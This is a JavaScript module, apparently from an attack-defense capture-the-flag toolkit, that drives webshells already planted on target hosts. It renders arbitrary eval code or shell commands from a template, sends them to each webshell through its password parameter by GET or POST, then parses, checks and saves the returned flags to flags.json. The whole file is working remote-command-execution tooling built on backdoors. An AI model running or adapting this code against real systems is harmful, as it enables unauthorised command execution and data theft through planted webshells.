const 
	_ = require('lodash'),
	uuid = require('uuid/v1'),
	fs = require('fs'),
	request = require('superagent');

module.exports = async function (self, host, wsid, ...codestring){
	console.log(self.namespace.webshells);
	let target = _.find(self.namespace.targets, {id: host}),
		ws = _.find(self.namespace.webshells, {id: wsid});
	if (!target || !ws) {
		console.error('target or webshell is not exists.');
		console.log('\nusage: run <ip|host> <webshell id> [code|cmd]');
		return;
	}
	if (self.namespace.getflagurl === '') {
		console.error('please first set getflag url');
		return;
	}
	return new Promise( async (resolve, reject) => {
		if (target.state === false) {
			reject('target state deny.');
			return;
		}

		let txt = '';

		if (ws.type === 'eval') txt = self.namespace.tmpl.render(codestring.join(' ')||ws.code||self.namespace.eval_str, {getflagurl: self.namespace.getflagurl});
		else if (ws.type === 'exec') txt = self.namespace.tmpl.render(codestring.join(' ')||ws.cmd||self.namespace.exec_str, {getflagurl: self.namespace.getflagurl});

		console.log(`${ws.method.toUpperCase()} ${target.id}${ws.uri} ${txt}`);
		let req = request(ws.method, `${target.id}${ws.uri}`)
			.timeout({
				response: self.namespace.timeout,
				deadline: self.namespace.timeout
			})
			//.proxy('http://127.0.0.1:8888');
		if (/get/i.test(ws.method)) {
			req.query(`${ws.pwd}=${txt}`);
		}
		else if (/post/i.test(ws.method)) {
			req.send(`${ws.pwd}=${txt}`);
		}
		req.then(res => {
			if (res.ok) {
				if (res.text.trim() !== '') {
					//console.log(res.text);
					let flag = res.text.split(/\n/)[0];
					console.log(flag);
					if (flag.length != 60) {
						console.log('length ERROR');
						reject('length error');
						return;
					}
					if (_.find(self.namespace.flags, {flag: flag})) console.log('已存在');
					else if (self.namespace.saveflag) {
						self.namespace.flags.push({id: uuid(), target: host, flag: flag, time: new Date(), submitted: false});
						fs.writeFileSync('flags.json', JSON.stringify(self.namespace.flags, null, 4)); // autosave
					}
					resolve(res);
				}
			}
			else {
				target.webshells.push({id: ws.id, valid: false});
				reject('res not ok');
			}
		}).catch(err => {
			reject(err.message);
		})
	})
}